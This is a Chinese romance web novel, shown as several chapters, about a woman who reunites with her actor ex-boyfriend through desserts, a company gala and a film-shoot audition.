《甜食解禁》
1. 草莓蛋糕
丰亿大厦15楼,茶水间。
周夏宁独自立在落地窗前,窗外的雨“啪嗒”作响。阳光穿过绵密的雨滴,射到她的身上,在浅灰色的羊毛地毯上留下一道靓丽的长影。
这里的摆设同三年前她离开的时候无甚区别,甚至冰箱里放着的草莓蛋糕也是当初她预定了但忘记带走的那款。在这个特别的空间里,时间似乎没有留下它的印记。
一切似乎同三年前一样,又似乎不大一样。
墙上的时钟“咚咚”地响了三声,现在已是下午三点。周夏宁左看看右瞧瞧,偌大的办公室里除了她,没有任何人影。过了规定时间,冰箱里无人认领的甜点,她可以自由处置了。
她愉快地哼起了小曲儿,唐记点心店的草莓蛋糕,可是她当年的心头好。店里的点心师傅只在一三五做这蛋糕,当初为了吃上蛋糕,她可是绞尽脑汁地排课,确保她一三五能够有一个下午的时间来这里打工。
草莓蛋糕的袋子里还放着一盒蔓越曲奇,这也是她的最爱。唐记点心店的蔓越曲奇在15楼出奇地受欢迎,它会剩下来着实奇怪。
美食在手,先吃为敬。
酸酸甜甜的草莓伴着醇厚的奶油在嘴里融化,鸡蛋的香味在舌尖扩散,甜而不腻,酸而不涩。这草莓蛋糕依旧是熟悉的味道。
这个时候若是有一杯柠檬红茶在手就好了。
“叮咚”。
十分钟前才点的外卖,这个时候就到了,外卖商家何时效率这么高了?
周夏宁一脸疑惑地走到门口,门外立着一道长影。隔着磨砂玻璃,她也感受到了来人身上势不可挡的帅气。
“外卖放架子上。”
周夏宁将最后半口蛋糕全部塞嘴里,玻璃门在此时向两旁退去,一道熟悉而陌生的身影映入眼帘,被悲伤洗涤过的双眸与她在不经意间对视。嘴里的奶油在那道炙热的视线下,渐渐变得苦涩难耐。
她不知道该作何反应,唇角下意识地上扬,勾出一抹比哭都难看的笑容。事前没有人告诉她,他今天会出现在公司里。
“好……好……好久不见。”
来人默默握紧拳头,藏起眼中不受控制翻涌的怨恨。三年了,他终于等到了与她的重逢。
“好久……不见。”
蛋糕卡在喉咙眼,她难受得紧。尘封在时光里的歉意,突然冲开了理智的枷锁,如泉水般喷涌而出。她不知所措地转身,匆忙按下关门键,在心快要跳出来之前,将那个帅气小伙隔在了门外。
“叮咚。”
门铃又响了。
“我来拿甜点的。”
隔着玻璃,周夏宁听得不大真切。她开了扩音器,他的声音顿时飘到她的耳里,“轻荷给我留了甜点。我来拿甜点的。”
他口中的轻荷是15楼星组的负责人,他订的甜点,点心店都是用荷叶纹样的袋子单独包装的。似乎好像,刚才她拆的那个袋子底纹是荷叶状的。
周夏宁心虚地咽了咽口水,她该怎么同他解释?说她不是故意的?万一他误会她在用这种拙劣的方式引起前男友的注意。
“叮咚。”
门铃再次响起。门外又多了一道长影。来人穿着墨青色衬衫,左手上戴着深蓝色手绳,这是姜澜。
周夏宁不得已再次将门打开。她拽住姜澜的胳膊,将他硬生生拖了进来。在她关门之前,那个全身上下冒着醋味的人儿,气愤地抓住她的手腕,气鼓鼓地问道:“这么不想见到我?”
他眼中的破碎和三年前最后分别时一模一样。时间没有抹平他心中的伤痛,只徒增了他对她的执念。
周夏宁没有挣扎,任他在她的手腕上留下愤怒的红印,笑问道:“你这么想见到我?当初被我伤得还不够?还想被我多刺激刺激?”
“我……没有受虐倾向。”
冰冷的语气里尽是对自己的无情嘲笑。他唇角勾起悲伤的笑容,径直走去了茶水间。在橱台上,他看到了一个放着一块草莓蛋糕和三块蔓越曲奇的餐盘。
这是她的搭配习惯。她端着的盘子里散着三块蔓越曲奇,那橱台上的餐盘,是她给那个碍眼的男人准备的。
“我的草莓蛋糕和曲奇呢?”
周夏宁头疼地扯了扯衣角,这事儿她没理。可是面对前男友,没理也得让自己看起来理直气壮。人和阵都不能输。
周夏宁指着墙壁上的钟说道:“你说说现在几点。”
“三点过五分。”
“冰箱上的告示,你读读。”
“三点之后,无人认领的甜点,自行处理。”
周夏宁心虚地看向远方,轻荷的甜点不在无人认领的甜点范围内。他的东西在冰箱里放到长霉,都没有人能够动。
“你这是太久没回公司了,都忘记轻荷的东西除了他,谁都不能动。我原谅你了。”
周夏宁怀疑自己听错了,他居然自己给她找台阶了。没吵没闹,就这么翻篇了?
“不过,你动了我的礼物。你得赔我。”
一盆冷水扑面泼来,周夏宁突然就头脑清醒了。
“我可以赔你一份一模一样的。三天后,你来拿。”
周夏宁示意他离开,亿星的艺人没有工作预约是不能随意进入15楼的。他就算是亿星的A级艺人也不例外。
她招呼姜澜去吃甜点,轻荷的点心都是汪文东亲手做的,他的手艺可与店里其他师傅的手艺不大一样。
“你们……结婚了?”
周夏宁和姜澜同时愣了三秒钟。姜澜的无名指上戴着婚戒。他会误会也说得通。
“我结婚了,她没有。”姜澜解释道。
他将眼前的小伙上下打量一番,视线不自觉地定格在那看着不大起眼的对戒项链上。他在周夏宁的相册中见过它们,那是周夏宁和前任恋爱两周年时定制的情侣对戒。
“我哥刚发消息让我去机场接他,我不能送你去会场了。”
姜澜迅速逃离现场,前任见面,没有第三人插足的地方。他逃得飞快,周夏宁来不及拦他,他便没影了。
“所以,你们只是朋友关系?”
他眼中闪过一丝欣喜,眼里也有了些微光亮。周夏宁若有所思地盯着他脖子上的项链,打趣道:“整天戴着和前女友定做的情侣对戒,你现在的小女朋友不同你吵?”
“我单身。”
他说得没有丝毫犹豫,周夏宁一时间惊呆了。他这三年,绯闻女友不说可以排到法国去了,加起来也能从丰亿大厦门口一直排到路转角了。
“我一天工作25个小时,没
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时间谈恋爱。”
“没交女朋友,那你要这甜食干嘛?甜食困难户转性了?变成甜食上瘾了?”
周夏宁将曲奇递到他的嘴边,以前交往的时候,他可受不了这种甜度。他顺着她的指尖,将曲奇咬去一大半,唇畔从她的指尖擦过。她受惊般地收回手,笑道:“难怪这三年绯闻这么多。这撩人的技术,确实比交往那会儿进步了不止一个层级。”
“那你被撩到了吗?”
他状似无意地将额间的碎发捋到一旁,对她露出他完美的左侧脸。周夏宁看着这个像画报里走出来的人,不自觉地咽了咽口水。
经过了三年沉淀,他这长相倒是完美的卡在了她的审美点上。不得不承认,看着这张脸,她会心动。不过,人对美的事物都会心动。他不是例外。
“弟弟,你这招数去撩小妹妹吧。姐姐,喜欢直接的。”
周夏宁转身给他倒了半杯温开水,他吃甜的容易咳嗽。她把温开水递给他的时候,她的盘子里多了块被切成二分之一的草莓蛋糕。
“我主演的电影票房破三十亿了。这半块蛋糕就当是为我庆祝了。”
他语气里尽是恳求,周夏宁没有勇气拒绝这个合理的请求。她默默低头,他把草莓都给了她。这一幕,和三年前没有任何区别。
“玉箫弟弟,想要什么礼物?姐姐送给你。”
在他们成为情侣之前,她没少用这种语气同他说话。情侣做不成,姐弟还是有得做的吧。
“周夏宁,我不是你弟弟。也不想当你的弟弟。”
说完这句,他默默吃起了蛋糕。她不会对一个不说话的哑巴发脾气。周夏宁突然气不打一处来,可是看着他像大狗狗一样安静地啃蛋糕,她一句话都说不出来。
这招他真是屡试不爽。皮一下就跑,真是欠打。
周夏宁的手举到半空中,眼看就要落到他的脑袋上。他没有躲,甚至他在期待她的巴掌。但是,她轻叹着收回了手。
以他们现在的关系,这样做,不合适。
“时间差不多了,我要去年会现场了。你的甜点,三天后赔你。我要关门了,你可以走了。”
“我来收拾吧。你穿着礼服,不方便。”
武玉箫从她的手中收过餐盘,水龙头的水“淙淙”流着,他熟练地将餐盘洗净,放进消毒柜里。这样的场景,以前重复过无数次。
“武玉箫,你是对所有的前女友都这样体贴吗?”
周夏宁看着他的身影,不由得红了眼眶。他如果一见面就对她冷眼相对,摆出老死不相往来的样子,她还能心里好受一点。偏偏,他的每一个行动都藏着对她的照顾和温柔。
“我只谈过你一个。当年是你单方面通知我分手的,我没同意。严格算起来,我没有前女友。只有一个失联了三年,只想跟我闹分手的现女友。”
他这幽怨的模样,像极了被打入冷宫日日唱长门赋盼君临幸的陈阿娇。周夏宁微不可闻地叹了一声,三年了,再浓烈的感情也该淡了。
“武玉箫,分手了就是……”
“今天夜荷年会,我也要参加,顺路,我送你。”
武玉箫拿起她的包,逃也似地溜了。分手的话,他不想听。他的感情没有过去,她想和他划清界限,做梦。
2. 小吊梨汤
银灰色的跑车慢慢悠悠地在路上晃着,它这只比路上最低限速高一丢丢的速度实在对不起它那堪比赛车性能的引擎配置。
在路的尽头右转,便是西斯赫尔酒店的临湖停车场。四十分钟的车程被他硬生生开到了一个半小时,武玉箫还是嫌这路程太短。
镜中的睡颜太美,他还没有看够。车停稳的瞬间,他失落地叹了口气儿。只有在她睡着的时候,他才能这样肆意地盯着她看。
“到了?”
周夏宁睁开朦胧的睡眼,橘色的光照在她的身上,湖水在她眼前泛着粼粼微光。这已是黄昏时分,他们从丰亿大厦出来的时候不过三点半。
“看来这三年你的驾驶技术没什么提升。”周夏宁无心笑道。
他把她塞进这拉风的跑车里的时候,她还以为他要带她体验速度和激情,不料他让她好好补了个觉。这一点儿都不像是在法拉利挑战赛里第一个冲过终点线的赛车手应有的驾驶技术。
“太久没见你,只顾着看你,忘记踩油门了。”
武玉箫的脸涨得通红,她的眼睛还是那么灵动,与她对视几秒,他的心便乱如擂鼓。这就是心动的感觉,是只有在她身边才会感受到的悸动。
“果然是吃了草莓蛋糕的人,嘴上抹了蜜。”
周夏宁推门而出,他眼中的情太浓,那是她无法回应的感情。和他待在一个空间里,她快要无法呼吸。
三年前的伤害不是她的本意,可他经历的一切痛苦都是她带来的,她没有那么厚的脸皮,可以若无其事地继续接受他的爱意。
“等等。”
武玉箫从车上跃下,抓住她的胳膊,她惊讶地回头,她的手上突然多了一个玛瑙手串。
“祝贺你拿到夜荷的优先股。”
他松开了她的手,主动向后退了两步。周夏宁喜欢收集玛瑙手串,这一串是她前不久在朋友圈里晒过图片的。
“我可没有回礼给你。”周夏宁笑道。
“我送你礼物,从来不是为了收到你的回礼。以前是这样,现在是这样,以后也会是这样。”
他给她伸来一只胳膊,示意她把手搭上去。为了配合晚礼服,她穿了一双她勉强能正常走路的高跟鞋。
姜澜正巧从车上下来,往他们这边走来。周夏宁将他的胳膊推开,拒绝道:“我今天有人形拐杖。”
“他是已婚人士,你找他帮忙,他太太会吃醋的。”
武玉箫倔强地将她的手搭在了他的胳膊上,牵着她从姜澜的身旁路过。他眼中的警惕,分明是将姜澜当做了抢夺他领地的掠夺者。
从停车场到酒店大厅的路并不远,但这几分钟就像几个世纪那般漫长。他的手很暖,和印象中的温度没多大差别。在温哥华的漫天大雪里,他的手也像火炉一样,一直暖到了她的心坎里。
“冰夏。”
听到熟悉的声音,周夏宁瞬间甩开了他的胳膊。他们现在是已经分手的关系,让人误会了去,对他的名声不好。
以他现在的位置,年轻漂亮听话乖巧的女孩儿任他挑,没必要同她这个夜荷的优先股股东纠缠不清。
“岁语,好久不见。”
周夏宁热烈地与女子拥抱,她拽着她的胳膊,一路走远。这位被唤作“岁语”的女子是夜荷大老板的太太。她拿老板娘当挡箭牌,他自然得识趣地避开。
只是,夜荷十八周年的庆祝酒会,他也有资格参加。她想躲他,没门。
西斯赫尔酒店0103,云花厅。
周夏宁端着一个布丁混在一群甜品控里,这是用山楂糕做的布丁,酸酸甜甜,味道新奇。
这是公司新签的艺人做的甜品。那个新人家里是做传统中式糕点的,初中毕业之前,他的爷爷奶奶双双去世。他继承了爷爷奶奶留下的点心店,但是村里的人都去城里打工了,店里经常没有什么人光顾,他不得已关了店,来陵城进修厨艺。
这个新人运气不错,陪着朋友来亿星面试,朋友没通过,他靠着萝卜雕花的手艺进了公司。进公司后不久,被塞去了一档乡村体验综艺救火,阴差阳错靠着扎实的面点手艺崭露头角。
唐记点心店已经给他抛了橄榄枝,诚邀他去店里做点心师傅。这个新人还不到二十岁,前途无可限量。
“这个甜汤要试试吗?山楂是好东西,可也不能多吃。”
身上有着面粉香气的男子出现在周夏宁的身前,他手里端着一盘子的甜汤。甜汤里漂着几块梨、桂圆和枸杞。
周夏宁定睛看了看他的工牌,照着读道:“邱……远衡。”
那个会做中式糕点的新人似乎就叫这个名字。
“这是你做的?”
周夏宁端过一碗甜汤,这甜度很淡,很适合不大吃甜食的养生人群。他这手艺在唐记点心店也有一席之地。
“后厨缺人,随手煮煮。”年轻小伙憨憨地笑道。
他爽朗的笑声,恍惚之间,让周夏宁想起了武玉箫十八九岁时的模样。细看之下,两个人的气质居然有相似的地方。
“我手头有个项目需要一个甜点师客串,你有时间吗?顺利的话,三个小时就能结束。15号下午两点进棚。最好两点以后的时间都空出来。”
年轻小伙怔愣了许久,他就只分发了碗甜汤,怎么就有个工作机会找上门来?他盯着周夏宁看了又看,她身上的浅蓝色曳地长裙是“雅岚”的高定礼服,这种认人不认钱的高奢大牌,可不是谁都能穿的。
“对……对不起,我需要同我的经纪人沟通一下。我没有权利私自接工作。”年轻小伙艰难地拒绝道。
这是公司规定,可是他不确定他的拒绝会不会惹恼眼前的贵客。
他这一根筋的模样,倒是越发像高中刚毕业时候的武玉箫。时间真是把杀猪刀,当初那么呆萌可爱的弟弟,如今怎么就成了一个沉默寡言的冰山脸。这些年他的画报越拍越帅气,可一点儿活人气儿都没有。
“一起拍张合照吧。我很喜欢你做的甜汤,很养生。”
听到对甜汤的夸赞,年轻小伙情不自禁地笑成了一朵太阳花。人发自真心微笑的时候,最美。周夏宁不自觉地看呆了,他身上干净明媚的气质真的像极了那个时候的他。
在镜头前,周夏宁的视线不由自主地落在他的身上。他看着镜头,她看着他。没有人能够永远十八岁,但是永远有人十八岁。
周夏宁似乎看到了她的新灵感缪斯。换人的事儿,可以定下来了。眼前这个人就是她要找的甜品疗愈师。
“卿梨,有事儿找你。”
武玉箫穿过人群,走到年轻小伙的身前。他眼中的妒火,藏都藏不住。年轻小伙第一次见他,却也认得这个亿星A约部的武打顶流。
“那我先离开了,这栗子糕不太甜,你可以试试。”
年轻小伙端着自己的盘子去到了人群中。他非常愉快地将盘子里的甜汤送给了喜欢它的食客。
爱己所爱,并且享受当下。亿星这是又淘到宝了。
周夏宁的视线一直定格在邱远衡的身上,武玉箫默默地吃起了栗子糕,他推荐的甜品,她一个都不许吃。
“你们俩这是要复合的节奏?”
酒年打趣的声音飘到周夏宁的耳朵里,她回头的瞬间,正巧对上了武玉箫幽怨的双眸。他的感情太浓烈了,明眼人一看就知道,这位大明星正在孔雀开屏求前任回头。
“复合什么?我
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不交二十五岁以上的男朋友。好不容易把自己混成资方了,当然男友永远十八岁。”
三分真心,七分假意。但以她现在的位置,说者无心,听者有意。
“艾彬手上新来了一批十六七的男孩儿,你要不买买股,带着打个循环赛。轻荷最近在追女人,消极怠工,艾彬天天来15楼抓人。你要不回来救救场。”禾歌从人群里冒了出来。
这就是陆扉辰找她回来的原因。那个皮卡丘牌人形打字机自坠入爱河后,就躺平摆烂,什么工作都交给助手去做。星组的挂单,他几乎都拒了。
“十六七岁就算了,刚才那个做甜品的你们知道是谁手下的吗?”周夏宁若有所思道。这么好的苗子可不要是A约部的。
“B约的,顾魏手下的。看上了?”酒年笑道。
“确实不错。我很喜欢。”
周夏宁在手机上翻找顾魏的联系方式,B约的艺人工作选择权很大,她手上的角色,人家不一定看得上。
“他最近都在点心店打工,没事儿你可以去偶遇。”禾歌坏笑道。
周夏宁看她那一脸八卦的模样,就知道她误会了。她身边还杵着个大醋坛子,解释清楚了,他越发不想放手。
“有时间我去店里看看。”周夏宁敷衍道。
刻骨铭心的恋爱谈一次就够了。
她眷恋武玉箫十七八岁时的模样,可她再也找不回二十岁时的心境。她会不断被拥有他年轻时候影子的人吸引,却也知道,她所怀念的只是那个时候的自己。
台上正巧念到了“半夏汀兰”的名字。姜澜悄然来到她的身边,礼貌地伸出一只胳膊,带着她走到那个被聚光灯照射的舞台中央。
在众人的注目下,她缓步走到话筒前,用甜美的嗓音说道:“大家好,我是‘半夏汀兰’的半夏。很荣幸在夜荷成立十八周年的时候,成为了夜荷的优先股股东。从十八岁第一次给夜荷投稿到今天,已有十一个年头了。在这里我遇到了我的恋人、朋友、老师、同伴,遇到了很多失败、挑战,也取得了一些成绩。这十一年太过精彩,我无法用言语概括。往后的十年,二十年,我会更加努力的工作,将我曾经得到过的帮助和指导传递给需要的人……”
聚光灯下,周夏宁自信、独立、纯粹而热烈,似乎世间所有美好的词用在她身上都不为过。即便她的容颜不再年轻,她依旧美得不可方物。在分别的三年里,她不再隐藏自己的锋芒偏安一隅,这一切似乎都在告诉他,如果当年不是她恋爱脑,她会更早地走到今天这个位置。
离开他之后,她依旧桃花满地,事业更是蒸蒸日上。她从容、美丽、自信、独立,似乎分手在她身上没有留下任何负面的印记。
难道三年前,她真的是腻了他,才提的分手?
可是分手之前,他们的感情很甜,他们几乎没有红过脸。他到底做错了什么,她才能这样毫不犹豫地转身,并在转身之后以更加华丽的样子回归。
她真是个狠心的女人,死也不让他死个明白。在那些无眠之夜,他真的无数次祈祷过,让她在离开他之后过得无比悲惨。可是她一直活得十分耀眼,耀眼到他不得不在自己的圈子里听到别人谈论她的傲人业绩。
凭什么她在转身之后,活得那样滋润?
而他一直被锁在被抛弃的悲伤里,连被抛弃的理由都不知道。
“周夏宁,凭什么你能过得这么好?”
武玉箫突然红了眼眶,委屈从心底喷薄而出,可他又十分庆幸,当年他听了劝,努力工作,努力向上爬,爬到了与她如今不相上下的位置。
他不曾掉队,她也别想让他从她的圈子里滚出去。他们还在一个圈子里,他与她还有可能。
3. 香草拿铁
早上十点,佑和咖啡店花园路总店。
一个长发飘飘的男子系着围裙端着热腾腾的咖啡在店里穿行,厚重的黑框眼镜也压不住他眼中自带的慵懒帅气。
“能一起拍照吗?”
这是他今早收到的第五十个拍照申请。男子用手语比划了两句,提要求的女孩儿看得一愣一愣的。
“他说你长得太难看,不和你拍照。”女孩儿身旁的年轻小伙戏谑道。
年轻小伙看起来不过十六七岁,和女孩儿年纪相仿。女孩儿朝着小伙的胳膊重重地拧了一下,小伙没躲,反而傻笑。
这就是单纯的想要用贬低对方的方式引起喜欢的女孩儿的注意。
长发男子又用手语比划了两句,准备离去。
女孩儿以为他真的在嘲笑她,拦住他的去路,囔道:“你什么意思,说清楚,不然我叫店长了。”
“姜曲颜,你长得太难看了,对方都懒得同你解释。”男孩儿煽风点火道。
长发男子盯着这个黄毛小伙看了许久,这么欠收拾的小孩儿,他已经许久没有遇过了。
“他说,你该同这个女孩儿道歉,爱一个人不是通过贬低她来博取她的注意。”
咖啡店的风铃“叮当”作响,拿着甜品盒子的糕点师出现在店里。他的身后跟着一个穿着水蓝色连衣长裙的女子。长发男子的眼神突然就黏在了那个女子身上。
“谁……谁……谁喜欢她了?”
黄毛小伙急得涨红了脸。
“你真的是这个意思?”女孩儿质问道。
男子又用手语比划了一番,糕点师解释道:“店里有规定不能拍照。我今天拒绝了很多人,你不是例外。你长得很漂亮,说你长得难看的人,一定眼瞎。”
“对……对……对不起。我误会你了。”
糕点师用手语将女孩儿的话翻译给了男子,男子怔愣半晌,下意识地抚了抚耳朵上的助听器。没想到那个糕点师注意到了长发遮掩下的摆设。
“他听不见?”女孩儿面露怜悯之色。
“他会唇语,能够理解你的意思。不要用这样的眼神看着他,很不礼貌。他是一个正常人,能够正常的工作和交流。”
很难得,能够在店里碰到这样一个不歧视残障人士的人。
“姜曲颜,你同情谁呢?你自己都那么可怜。”
黄毛小伙一开口,女孩儿一脚踢了过去。他侧身躲闪,飞速跑出了店里,女孩儿追着他在街上一路狂奔。
“这两,就不能消停一天?”长裙女子轻叹一声。
轻荷忙着谈恋爱,搞定这些问题小孩儿的活计就都落在他们疗愈工作室头上。两个都是大别扭,喜欢又都说不出口,非得当个冤家玩暗恋。
“刚才很抱歉,我会和店长说今天的事情。以后你来店里工作的时候,身边一定会有一个懂手语的兼职生在。刚才的事情不会发生第二次。”
男子看着她,眼里尽是迷恋。她对一个陌生人都能够这么温柔,怎么对他就一副拒之门外的冰冷模样?
他上下比划一番,糕点师狐疑地看着他,翻译道:“我刚做了抹茶蛋糕和香草拿铁,你要来一份吗?”
这是要诱导消费?
“不用了,太甜了。我已经戒糖很久了。给我一杯温牛奶和一块三明治。”
在LA的三年,她完全没有碰甜食。回国之后,想起了太多以前的事情,一不注意,破了戒。
但这种放纵,也就那晚限定,因为她遇到了他。不吃点儿甜的,她很难平静下来。
他们在临窗的桌子前坐下,男子不舍地将目光从她的身上收回,然后回了柜台。在他的印象中,她一天不沾甜食就会全身无力,就像天塌了一般。果然,她抛弃他之后,变了许多。
“那个咖啡师喜欢你。”糕点师八卦道。
“喜欢我?我们第一次见面。”
“要打赌吗?”
“不赌。”长裙女子果断地拒绝道。
那咖啡师看她的眼光着实不清白,似乎他们之间认识了很久,他对她有一种迷恋。
“他过来了。我去柜台放点心。”糕点师瞬间溜没影了。
男子走来的瞬间,那道灼热的视线再次落在她身上。她不知所措地望着他,她不记得她有见过这个人,这样炙热的感情不在一见钟情的范围内。
“我们认识吗?”
长裙女子在纸上写道。
“不认识,但是我对你一见钟情。”
男子在她的字迹下留下他的回复。
“我结婚了。祝你早日找到和你两情相悦的爱人。”
长裙女子的手从纸上离开的瞬间,长发男子的眼中只剩破碎。
“冰夏姐姐,要一起回店里吗?草莓蛋糕快出炉了。”
“不了,我马上有个会。草莓蛋糕做好了,麻烦你送去武玉箫那儿。告诉他,东西我赔给他了,两不相欠。”
长发男子眼里燃起怒火,他要的是草莓蛋糕吗?他要的是她同他见面。三年前的事情不说清楚,他们怎么可能两不相欠。
可是说清楚了又能怎样?
她说她结婚了。
可是她结婚了又怎样,他过得如此悲惨,她怎么能一个人幸福。
糕点师临走时,长裙女子喊道:“下午两点的拍摄别忘了,我这边结束了也会过去。”
她也会去摄影棚?
长发男子的眼里终于又有了些微亮光。她不想见他,他可以去见她。
望着她离去的身影,他的眼中尽是怨恨。她真的对他一点儿留念都没有吗?
丰亿大厦地下摄影棚。
一个长发飘飘的男子突然出现在监视器前。他手里拎着咖啡店的外卖,松垮的骑手服掩盖不了他那堪比一线时装男模的好身材。
“小哥哥,有兴趣客串个角色吗?”
隋音将自己的名片递到了男子手中。
亿星的A级艺人不能客串繁星B级导演的PK赛作品,如有违规,双方都会被通报处罚。
长发男子用手语比划了一下,隋音没看懂,她递了张纸过去,问道:“你是同意了?还是没同意?”
“这不是刚才在咖啡店里的那个聋子吗?”
听到这个声音,隋音的太阳穴突突乱跳。这个只会添乱的大少爷怎么还没有被换掉。
“你怎么来这里了?你就是那个丑女人找来换我的咖啡师?”
[丑女人?你说谁?]
俊秀的字迹下翻涌着无边怒火。
“当然是周夏宁那个丑八怪。”黄毛小伙口无遮拦道。
他得趁着那个女人不在场多骂她几句。谁叫她去他妈那儿告状,害他被扣了零花钱。
[一头黄毛你以为你好看到哪儿去了?她在你这个年纪都是校花了,你是校草吗?谁给你的勇气说她丑的。]
“你……你……你……”
黄毛小伙抡起拳头却不敢往男子身上打,那个可恶的女人功夫了得,揍起他来跟砍瓜切菜似的。她不打他的前提是:他不乱欺负人。
“万嘉岩,你还有被怼得没话说的
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时候。”姜曲颜笑话道。
“谁没话说了。那个丑女人哪里好看了,说她漂亮的都眼瞎。”
[你眼瞎,不要带别人。她的眼光比你好一万倍。]
“才怪。她眼光好,选你?”万嘉岩嘲笑道。
[剧本给我,如果内部投票都选了我,你得当着所有人的面给她道歉。]
隋音看着监视器里的人,突然陷入沉思。这个人怎么会知道演员替换需要内部投票?这个规则是最近新添的,周夏宁还不知道。
PK赛的剧本都薄,三页纸,长发男子很快就看完了。万嘉岩这个角色是个咖啡师,台词没两句,主要是做咖啡。
[直接进Scene12,一镜到底。]
长发男子走到监视器前,安静地收拾咖啡桌。他就像一个专业的咖啡师,在客人离开后麻利地将桌上的物品收拾干净,等待下一个客人的光临。他的眼睛里只有浓香的咖啡,咖啡香气在空气中淡去的时候,他的眼里有些微失落,仿佛这醇香的咖啡里藏着让他内心安宁的秘密。
他很享受制作咖啡的过程,很留念这渐渐消散的咖啡香气。他是一个爱着咖啡的咖啡师,是一个能将喜怒哀乐都融于咖啡香气的手艺人。
这种演技,让人很难将视线从他身上挪开。
笨重的黑框眼镜,在他的身上平添了一点儿学究气儿。这种匠人精神,在眼镜的衬托下越发的突出。
他的装扮不是刻意扮丑,而是在用并不帅气的面庞演绎一个通过咖啡让自己变得温暖闪耀的普通咖啡师。
帅气的诠释有很多种,而他的选择是:展示技能美学。
这得对自己的演技和咖啡技艺有多么自信,才会选择这样的表演方式?隋音不由得咽了咽口水。
门铃响起的那一瞬间,男子没有反应。隋音给姜曲颜打了个手势,示意她直接进去。聋哑人是听不见声音的。
看到人影晃动,男子主动做了一杯咖啡。
“我今天又被拒了。”姜曲颜失落地说道。
男子拨开长发,露出他的助听器,示意他能够听见她的话语。
姜曲颜愣了许久,他没有说一个字,却让她莫名的感动。他在用实际行动告诉她,他在听,她说什么都可以。
“我真的很努力了,为什么就是做不好。为什么他们轻轻松松就能做到我努力到极限才能做到的事情……”
“轰隆”作响的咖啡机,压下女孩儿语气中的怨怪之气。女孩儿说了许久,也不太清楚自己是以什么语气说出这番话的。
一杯浮着奶油小猫的香草拿铁被递到女孩儿身前,她的注意力突然被小猫吸引了过去。
“这个小猫好漂亮,喝掉太可惜了。”女孩儿失落地说道。
[下次来,我给你做个更可爱的小猫。我一直都在。]
见到最后五个字,女孩儿突然不受控制地哭了。这样的承诺,真的太能宽慰人了。女孩儿静静地喝完咖啡,擦干眼泪,在纸上写道:我会再试一次。下次,给我做个戴着金牌的小猫。
女孩带着坚定的眼神离开了,男人将纸条贴在了墙板上,眼里露出宽慰的笑容,然后安静地将桌子收拾干净。
他这恬静淡然的模样,让人觉得,似乎生活一直这样下去也不错。在平淡的日常里,也藏着让人心动的小确幸。
“Cut。”
白板从男子的眼前晃过。隋音担心他听不见,刻意晃到了他的身前。他的视线穿过她,落在了门口的长裙女子身上。
刚才的表演,她都看见了。
4. 椰奶果冻
炙热的视线像一张无法逃离的密网将周夏宁紧紧罩住,陌生的面庞在这一刻与武玉箫的俊脸重合。这张脸她没有印象,可这迷恋的神情,在交往的两年半里她见过太多次了。
抹茶蛋糕和香草拿铁是她以前在开会前必备的甜食搭配。
他居然还记得。
周夏宁站在门口,静静地看着那个长发飘飘的男子。他戴了假发套,贴了眉贴,点了痣,甚至还垫了肩,不仔细看,亲妈粉都认不出来他。
“冰夏姐姐,你这眼光都可以直接去经纪部了。这咖啡师我太满意了。”
这是铁定要换掉万嘉岩的意思。隋音的项目是要打PK循环拿定级的,她有权换掉关系户。
“Scene15,你和万嘉岩演。”
周夏宁拖了把椅子坐在监视器前,长发男子的视线随她而动。她到底给他施了什么魔法,她拿椅子的样子也美得跟个天仙似的。
万嘉岩指着周夏宁的鼻子,囔道:“丑女人,谁要和他演对手戏。”
周夏宁拿起一旁的椰奶果冻,咬了一口,万嘉岩突然就安静下来了。他的眼睛一直盯着她手上的椰奶果冻。这是唐记点心店的新品果冻,只有VIP会员才能购买。
“不演,这些我就一个人吃掉了。”周夏宁笑道。
椰奶的香味在嘴里扩散,她不由自主地露出明亮的笑容。椰奶果冻不是什么罕见的东西,可这么醇厚的奶香味,在果冻里很少见。
“你……臭女人,就知道拿果冻威胁我。”
这个女人不吃甜食,偏偏认识一堆手艺高超的甜点师,还专门找人做好吃的甜食诱惑他,让他成为她的提线木偶。
“你爱演不演。果冻就这么多,我都吃完了,就没你什么事儿了。他马上要进组了,他不在店里,店里也不做这款果冻了。”
被周夏宁点名,邱远衡突然红了脸。长发男子周身的空气突然充满了醋味。周夏宁给他扔了一个果冻,“报酬。”
“臭女人,谁让你把我的果冻给他的?”
万嘉岩乖乖地走到了镜头里,眼里写满了气愤。她就会以大欺小。
“好好演,这是你最后的机会。”
周夏宁目不转睛地盯着监视器,暗自祈祷她刚才在姜曲颜身上看到的情感释然不是一时幻觉。
“各部门准备,三、二、一,Action。”
打板声响起后,摄影棚里又响起了咖啡机的“轰隆”声。这是一个老式咖啡机,每次工作都会轰隆作响。
万嘉岩烦躁地一脚踢在椅子上,“嘎吱”作响的木头椅子,瞬间断成了三截。咖啡师若无其事地盯着咖啡机,看滚烫的咖啡一点一点落在杯子里。他眼眶微红,看起来刚刚哭过。
他转身的时候,热泪盈眶,却倔强地勾起一抹职业笑容。他熟练地用牛奶在咖啡上画出一张女孩儿的笑脸,随后将咖啡推到了他的手边。
杯子里的那个蝴蝶结发卡和姜曲颜头上戴着的那个一模一样。万嘉岩无处发泄的怒火,突然消散在咖啡的香气里。
他像木头人一般站着,安静地看着咖啡上的笑脸娃娃。
“我很希望她一直失败,一直失败,一直失败。她一直失败,就会一直来找我玩。除了她,我已经没有任何朋友了。”
这是隋音之前没有听过的台词,万嘉岩的表情很平静,看起来不像是真心话,也不像是在演戏。
咖啡师拿下了助听器,在一旁揉起了面粉。这个举动是在告诉这位客人,他说什么,他都听不见。
“我知道她很厉害,她只是一直没有找到正确的方法。我从来没有见过一个比她更努力的人。谁说努力在天赋面前不值一提?她一直都在用最纯粹的努力,将那些所谓的天才踩在脚下。她只是遇到瓶颈了,不是被那瓶颈卡死了。我一直知道她会重回赛场,只是,我就是……不想放她走。”
如果她一个人走到了光亮处,而他还留在黑暗里,他会无比地羡慕她,嫉妒她,怨恨她。
都是没人要的可怜虫,凭什么她可以一个人和过去的伤痛和解。
可是她是他最好的朋友,他不想像怨恨其他人一样去怨恨她。所以,她就留在这里,继续同他在黑暗里报团取暖,不行吗?
被泪水模糊的视线里,突然出现了一个面团做的奖牌。
“这个奖牌要怎么设计才配得上你心中的NO.1?”
姜曲颜的声音从手机里冒出来。姜曲颜和周夏宁一同愣了三秒钟,这个语音包上传到亿星的系统之后,几乎无人下载。
“谁要给她设计奖牌?”
万嘉岩一口气将杯中的咖啡全部喝完,咖啡是甜的,甜得让他腻。这咖啡师到底加了多少糖进去?
